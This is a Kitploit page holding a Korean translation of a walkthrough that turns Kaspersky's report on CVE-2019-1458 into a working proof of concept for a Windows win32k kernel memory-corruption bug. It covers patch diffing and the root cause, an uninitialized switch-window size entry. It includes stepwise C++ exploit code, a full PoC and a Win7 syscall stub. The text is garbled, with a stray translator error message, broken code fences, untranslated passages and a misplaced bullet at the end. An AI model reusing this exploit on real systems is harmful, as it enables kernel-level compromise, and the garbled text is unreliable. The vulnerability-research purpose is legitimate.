Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-1458_POC — cve-2019-1458용 POC | Kitploit
도구/GitHubGitHub/piotrflorczyk/cve-2019-1458_poc
Vulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubpiotrflorczyk/cve-2019-1458_poc

cve-2019-1458_POC

cve-2019-1458용 POC

저장소 보기
181534년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-1458: '인더와일드 보고서'에서 POC까지

소개

12월에 Kaspersky는 [야생에서 사용된 0day 익스플로잇][1]에 관한 블로그 포스트를 게시했습니다. 그들의 분석에는 익스플로잇이 어떻게 동작하는지 설명되어 있었지만 POC가 포함되어 있지 않았기 때문에 제 관심을 끌었습니다. 그래서 저는 Kaspersky의 블로그 포스트와 패치 분석을 기반으로 이 취약점에 대한 POC를 작성해 보기로 결정했습니다.
이 포스트는 그 과정을 다룹니다.

정보 수집:

가장 먼저 이 취약점에 대해 가능한 한 많은 정보를 수집했습니다. 언급된 블로그 포스트를 읽으면서 다음 정보를 추출했습니다:

  • 취약점은 창 전환 기능과 관련이 있습니다
  • 트리거하려면 ALT 키 누름을 시뮬레이션해야 합니다
  • 문서화되지 않은 NtUserMessageCall API에 대한 호출이 두 번 필요합니다
  • 특별한 전환 창을 생성해야 합니다
  • 커널 함수 win32k!DrawSwitchWndHilite에 대한 언급이 있었습니다

그 외에도 앞서 나열한 일부 내용을 보여주는 디컴파일된 코드의 멋진 스크린샷이 있습니다. 정확히는 전환 창 생성, toggle_alt_key라는 함수 호출, 그리고 여러 번의 NtUserMessageCall 호출을 보여줍니다.

디컴파일된 익스플로잇 코드의 일부 [이미지 출처][1]

유용한 정보가 많지만, 이 취약점이 정확히 어떻게 동작하고 어떻게 트리거하는지는 여전히 설명되지 않습니다.

패치 디핑

영향을 받은 모듈은 [win32k.sys][2]였습니다. 이 모듈의 패치 버전과 패치 전 버전을 모두 다운로드했습니다.
Win7 x64의 경우 다음과 같습니다:

  • 패치됨: KB4530692
  • 패치 전: KB4525233

이들은 [Microsoft Update Catalog][3]에서 다운로드할 수 있습니다

두 버전을 비교한 bindiff 결과는 다음과 같습니다

win32k 비교

DebugHook 기능과 관련된 함수들을 제외하고 나면 실제로 남는 것은 약간 변경된 함수 InitFunctionTables()뿐입니다.

InitFunctionTables 변경 사항

확실히 가장 큰 패치는 아닙니다.
이것만으로 이 취약점의 근본 원인을 즉시 식별하는 데는 도움이 되지 않습니다. 하지만 *(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) 변수에 대한 초기 값이 추가되었다는 점은 주목할 만합니다. 따라서 이는 초기화되지 않은 변수와 관련된 버그일 수 있습니다.

POC 빌드 - 단계별로

이 섹션에서는 이 취약점을 트리거하는 POC를 단계적으로 구축하면서 동시에 취약점의 정체를 파악해 나가는 과정을 설명하겠습니다.

시작 위치

패치 디핑은 처음에 그다지 유용한 정보를 주지 않았기 때문에 개발 초기 단계에서는 주로 Kaspersky의 블로그 포스트에 의존했습니다.
좋은 테스트 환경을 위해 마지막 취약 버전의 win32k가 실행되는 Win7 SP1 x64 VM을 준비했습니다. 그 위에 Windbg를 연결하여 커널 디버깅을 수행하고, 동시에 심볼 서버 경로도 설정했습니다.
블로그 포스트에서 언급된 win32k!DrawSwitchWndHilite를 살펴보면서 조사를 시작했습니다. 이 함수는 xxxMoveSwitchWndHilite와 xxxPaintSwitchWindow 두 곳에서 호출되는데, 후자는 원래 보고서에서 언급된 주변의 GetKeyState/GetAsyncKeyState 호출 때문에 즉시 관심을 끌었습니다. 게다가 그 호출들은 ALT 키가 눌렸는지 확인하고 있습니다.

DrawSwitchWndHilite로의 흥미로운 호출 지점
xxxPaintSwitchWindow에서 DrawSwitchWndHilite 호출

호출 교차 참조(xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite)를 더 따라가면서, 그 체인의 첫 번째 요소가 패치에서 수정된 InitFunctionTables에서 참조된다는 것을 발견했습니다.

다음으로 디컴파일된 코드의 스크린샷에서 NtUserMessageCall을 살펴보았습니다. 이 함수의 선언은 다음과 같습니다```cpp NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

root@kitploit:~
Exploit은 `msg = 0x14`와 `dwType = 0xE0`로 그것을 호출하고 있습니다. 그것이 무엇을 하는지 살펴보겠습니다.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
    printf("[-] Failed registering SploitWnd window class\n");
    exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to create SploitWnd window\n");
    exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

여기서 간단한 창 클래스를 등록하고 해당 클래스의 창을 생성했습니다. 그런 다음 익스플로잇과 동일한 매개변수로 NtUserMessageCall을 호출했습니다. 내부에서 어떤 일이 발생하는지 확인하기 위해 중단점 kd> ba e 1 win32k!NtUserMessageCall을 설정하고 코드를 실행했습니다. 이 함수에 대한 호출이 꽤 많았기 때문에 올바른 호출을 찾아야 했지만, 그리 어렵지 않았습니다. 콜스택이 매우 짧은 호출이 바로 그것이었습니다.

NtUserMessageCall
NtUserMessageCall

코드를 단계별로 살펴보면 gapfnMessageCall 배열의 함수를 호출하며, 인덱스는 msg 값을 기준으로 계산되고 0이므로 NtUserfnDWORD를 호출하게 됩니다.

NtUserfnDWORD
NtUserfnDWORD

다음 호출은 dwType 값을 사용하여 이루어지며, 이제 gpsi 오프셋은 0x40이고, 호출은 xxxWrapSwitchWndProc로 이어집니다 (이 함수는 DrawSwitchWndHilite 호출 체인을 확인할 때 이미 나타났습니다).
xxxWrapSwitchWndProc는 단순히 xxxSwitchWndProc를 호출합니다.

xxxSwitchWndProc
xxxSwitchWndProc

그리고 이것이 끝입니다. 코드는 여기서 실패하며, msg 값(0x14)에 따라 도달하려는 xxxPaintSwitchWindow로 더 이상 진행되지 않습니다. 왜 그런지 확인해 봅시다.

올바른 경로 트리거하기

이 단계에서 코드가 실패하는 이유는 이전 이미지에서 강조된 것처럼 창의 fnid가 0x2A0(FNID_SWITCH)와 같지 않고 보내는 메시지가 1이 아니기 때문입니다. 따라서 xxxDefWindowProc로 빠지게 됩니다. 이 상황을 피하려면 fnid를 FNID_SWITCH로 설정한 상태로 xxxSwitchWndProc를 호출해야 합니다. 그래야 switch 문으로 바로 이동하고 나중에 xxxPaintSwitchWindow에 도달할 수 있습니다.
올바른 fnid를 설정하는 방법은 무엇일까요? 실제로 같은 함수가 첫 번째 if 블록에서 이 작업을 수행하므로, fnid를 설정하는 명령에 도달하려면 그 안의 모든 검사를 실패시키기만 하면 됩니다.

다음은 세 개의 if 검사를 모두 실패시키기 위해 충족해야 하는 조건입니다.

  • fnid == 0 및 cbwndExtra + 0x128 >= *(gpsi + 0x154)
    새로 생성된 모든 사용자 창에서 fnid는 0입니다. 패치되지 않은 win32k!에서 *(gpsi+0x154)는 0입니다. 하지만 패치된 버전처럼 0x130으로 설정된 경우에도 cbwndExtra를 8 이상으로 설정하면 첫 번째 검사를 여전히 우회할 수 있습니다.
  • msg == 1
    NtUserMessageCall 호출에서 설정할 수 있습니다. msg를 1로 설정하면 제어 흐름은 NtUserfnDWORD 대신 NtUserfnINLPCREATESTRUCT를 거치지만 여전히 xxxSwitchWndProc에서 끝납니다.

이 모든 조건이 충족되면 창의 fnid가 FNID_SWITCH로 설정됩니다.
이제 원하는 fnid를 설정하기 위해 msg를 1로 하여 NtUserMessageCall을 한 번 호출하고, xxxPaintSwitchWindow에 도달하기 위해 두 번째로 호출해야 합니다.```cpp HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);

printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);

root@kitploit:~
창 클래스에 `extraData`를 추가하고 두 번째 `NtUserMessageCall` 호출을 추가했습니다. 이제 제어 흐름이 `xxxPaintSwitchWindow`에 도달할 수 있습니다.
(참고: `dwType`은 `0xE0`일 필요는 없습니다. 어차피 `NtUserfnDWORD`에서 `0x1F`와 AND 연산을 하기 때문에 `0`도 그냥 동작합니다.)

![xxxPaintSwitchWindow](https://assets.kitploit.com/production/public/readmes/30684/0a794f2d2af1e438ad43ce6f36921871ba04eeadeba67141388de7163ceaa0fa.png)
*`xxxPaintSwitchWindow`*

자세히 살펴보니 창 객체에서 가져온 `extraWndData` 값(25번째 줄)이 쓰기 대상 포인터로 사용되고 있음을 확인했습니다(46-52번째 줄)! 내가 제어하는 값으로 `extraWndData`를 설정하는 코드에 도달할 수 있다면 임의의 메모리를 손상시킬 수 있습니다!  
그 코드에 도달하려면 먼저 빨간색으로 표시된 몇 가지 검사를 더 통과해야 합니다

- 창에 `WS_VISIBLE` 플래그가 설정되어 있는지 확인합니다.  
이 플래그는 `CreateWindowEx`에서 설정할 수 있습니다
- `fnid == 0x2A0` 및 `cbwndExtra + 0x128 == *(gpsi + 0x154)`  
Fnid는 첫 번째 `NtUserMessageCall`에 의해 이미 설정됩니다.  
문제는 이 검사의 두 번째 부분에서 발생합니다. 취약한 `win32k` 모듈에서 `*(gpsi + 0x154)`가 초기화되지 않으므로 이 검사는 항상 실패합니다. 어떻게든 `*(gpsi+0x154)`를 올바른 값으로 설정하지 않는 한 말이죠. Kaspersky의 게시물에서 언급된 특수 스위치 창을 생성하면 정확히 그 작업이 수행되는 것으로 나타납니다.  
- 창이 소멸되지 않았는지 확인합니다.  
이 경우에는 이미 충족됩니다.

특수 [스위치 창][4]을 생성하려면 이름을 `0x8003`(`#32771`)으로 설정하여 `CreateWindowEx`를 호출해야 합니다. 그러면 결국 커널에서 `InternalRegisterClassEx`가 호출됩니다.

![InternalRegisterClassEx](https://assets.kitploit.com/production/public/readmes/30684/899c70257bac4c26d99e4bfb6e14d024a586bc7fb3bc11cddb5f544409165092.png)
*`InternalRegisterClassEx` 함수의 일부*

이렇게 하면 `*(gpsi+0x154)`가 `0x130`으로 초기화됩니다.
이로 인한 부작용은 이 변수를 한 번 설정하면 다시 0으로 재설정할 방법이 없다는 것입니다. 따라서 익스플로잇을 실행할 기회는 한 번뿐입니다. 다음 재부팅 전까지의 다른 시도는 모두 실패합니다.


### 역참조 값 제어

이제 `xxxPaintSwitchWindow`에서 나중에 포인터로 역참조되어 쓰이는 `extraWndData`를 제어할 수 있습니다. `extraWndData`는 다음 함수를 호출하여 제어할 수 있습니다```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

One thing to keep in mind is that this call has to be made after first NtUserMessageCall call, because as was shown xxxSwitchWndProc needs window's extraData set to 0 on this first call, to bypass necessary checks. Also SetWindowLongPtr has to be invoked before creation of switch window, and here is why:

xxxSetWindowLong fragment of xxxSetWindowLong function

This is where we actually make use of uninitialized *(gpsi + 0x154) variable. When this check passes we set wnd->extraData to arbitrary value. If this was correctly initialized, exploit would fail here.```cpp HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

root@kitploit:~
위 코드를 실행한 결과는 다음과 같습니다.

![익스플로잇 실행 성공 디버깅](https://assets.kitploit.com/production/public/readmes/30684/041723bb4c11895a5884059ccea0376d06d26056b4f0bac758dd712055b05b09.png)

그 직후 `rdi`가 역참조될 때 버그체크가 발생합니다.  
패치된 Windows에서 동일한 익스플로잇을 실행하면:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr은 제대로 초기화된 *(gpsi + 0x154) 때문에 오류 코드 0x585로 실패합니다. 그리고 커널은 충돌하지 않습니다.

근본 원인 (요약)

요약하자면, 주요 문제는 초기화되지 않은 변수 *(gpsi+0x154)였습니다.
하지만 이 값은 무엇이며, 왜 중요할까요?
gpsi는 [tagSERVERINFO][5] 구조체를 가리키는 전역 포인터입니다. 이 구조체는 무엇보다도 시스템 창(메뉴, 데스크톱, 전환 등)을 설명하며, 사용자 정의 창과는 대조적입니다. 이러한 시스템 창은 FNID로 식별되며, 예를 들어 0x2A0은 전환 창을 의미합니다.

RegisterClassEx를 사용하여 창 클래스를 정의할 때 WNDCLASSEX의 cbWndExtra 필드를 지정할 수 있습니다. 이 필드는 창별 정보를 저장하기 위해 tagWND 구조체에 추가로 할당되는 여분의 바이트 수를 나타냅니다. 그런 다음 SetWindowLongPtr을 사용하여 해당 여분의 바이트를 수정할 수 있습니다. 시스템 창도 작동에 필요한 추가 데이터를 저장하기 위해 정확히 동일한 메커니즘을 사용합니다. 하지만 원칙적으로 이 데이터는 SetWindowLongPtr을 사용하여 접근할 수 없어야 합니다. 그리고 실제로 xxxSetWindowLongPtr에는 이를 방지해야 하는 검사가 있음을 확인했습니다. 타입 정보를 적용한 후의 검사는 다음과 같습니다:``` if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) goto exit_with_error

root@kitploit:~
배열 `gpsi->mpFnid_serverCBWndProc`는 주어진 시스템 창 객체의 크기(추가 데이터 포함)를 나타냅니다. 
`*(gpsi+0x154)`는 `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`가 됩니다.
이 필드를 초기화하지 않은 채로 두면 `xxxSetWindowLongPtr`는 추가 데이터의 크기가 `-sizeof(tagWND)`라고 생각하므로, 스위치 창 구조에 비공개여야 하는 필드에 쓸 수 있게 됩니다.

이 취약점의 근본 원인은 초기화되지 않은(엄밀히 말하면 기본적으로 0으로 초기화된) 변수 `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`였습니다.
이 때문에 패치가 그렇게 작았던 이유가 설명됩니다. 해야 할 일은 이 값을 `sizeof(tagWND) + 8`로 설정하는 것뿐이었습니다. 같은 방식으로 이제 이전에는 초기화되지 않았던 다른 `mpFnid_serverCBWndProc` 배열 요소들(`FNID_DESKTOP`, `FNID_TOOLTIPS`)도 초기화되는데, 아마도 이 익스플로잇의 향후 변종을 예방하기 위한 것으로 보입니다.

![InitFunctionTable with types](https://assets.kitploit.com/production/public/readmes/30684/d7a41949abd8ce0e3d34f642c080b315d20edfb4e480db16f915759c5e375436.png)

## 메모리 손상시키기
현재 익스플로잇 상태에서는 버그체크를 트리거할 수 있지만, 크래시는 다음 명령에서 발생합니다:```asm
xxxPaintSwitchWindow + 0x8B:
cmp     [rdi+6Ch], r13d		; rdi = 0x4141414141414

이 POC를 준비하는 마지막 단계는 더 유용한 충돌을 유발하거나, 더 나아가 메모리를 손상시키되 전혀 충돌하지 않게 하는 것입니다.

이 마지막 목표를 달성하려면 다음이 필요합니다:

  • RW 메모리에 대한 유효한 포인터를 제공합니다.
    저는 VirtualAlloc을 사용하여 메모리를 할당하고 반환된 포인터를 SetWindowLongPtr에 전달하기로 했습니다.
  • ALT 키 누름을 시뮬레이션합니다.
    앞서 언급했듯이 xxxPaintSwitchWindow에는 ALT 키가 눌렸는지 확인하는 GetKeyState/GetAsyncKeyState 호출이 있습니다. 만약 그렇지 않으면 함수가 종료됩니다.
    GetKeyState 또는 GetAsyncKeyState 중 무엇을 사용할지는 [extraWndData+6Ch]의 플래그에 따라 결정됩니다. 저는 SetKeyboardState 호출을 사용하여 ALT 누름을 시뮬레이션하기로 했습니다. 이는 GetKeyState에서만 작동하므로 오프셋 0x6C의 값을 1로 설정해야 합니다.```cpp ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

root@kitploit:~
이 코드로 다른 충돌이 발생했습니다.```asm
DrawSwitchWndHilite + 0x10A:
mov     rcx, [r12+20h]
mov     dl, 1
mov     rcx, [rcx]		; rcx = 0

그래서 저는 오프셋 0x20에 유효한 포인터도 제공합니다 (자기 자신을 가리키는)```cpp ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

root@kitploit:~
이제 exploit은 충돌 없이 동작하며, 할당된 페이지의 내용을 살펴보면 수정된 것을 확인할 수 있습니다!

![메모리 내용](https://assets.kitploit.com/production/public/readmes/30684/08b7865f524a983ea91bda161f8356a75b0ca1a1c070eecd9950592ff23629ec.png)

우리는 제공된 메모리를 손상시키는 안정적인 exploit POC를 달성했습니다. 이것은 메모리 읽기 시 충돌하는 POC보다 훨씬 나은 상황입니다. 왜냐하면 이 임의 메모리 손상은 임의 커널 읽기/쓰기로 더 쉽게 전환될 수 있기 때문입니다. 게다가 우리는 손상될 메모리가 충족해야 하는 요구 사항을 이미 추출했습니다.

## 결론
이 워크스루에서는 exploit과 취약점에 대한 설명에서부터 유용한 커널 exploit으로 전환할 수 있는 작동하는 POC에 이르기까지의 과정을 제시했습니다.
이것은 한 줄이 빠져서 가능했던 매우 흥미로운 exploit이었습니다. 그래서 여기서 얻을 교훈은 항상 전역 변수를 초기화하라는 것입니다.

## POC``` cpp
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

The input chunk is empty, so there is no content to translate. Please provide the actual chunk text.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT

PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END

root@kitploit:~
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
도구 다운로드
  • extraData == 0
    ExtraData 크기는 앞서 언급한 cbwndExtra를 사용하여 창 클래스를 등록할 때 설정할 수 있습니다. ExtraData는 tagWND 구조 바로 뒤에 추가됩니다 (저는 디컴파일된 코드를 좀 더 보기 좋게 만들기 위해 이 필드를 IDA의 tagWND 구조에 sizeof(tagWND) 오프셋의 QWORD로 추가했습니다). ExtraData 값은 SetWindowLongPtr 호출로 설정할 수 있습니다.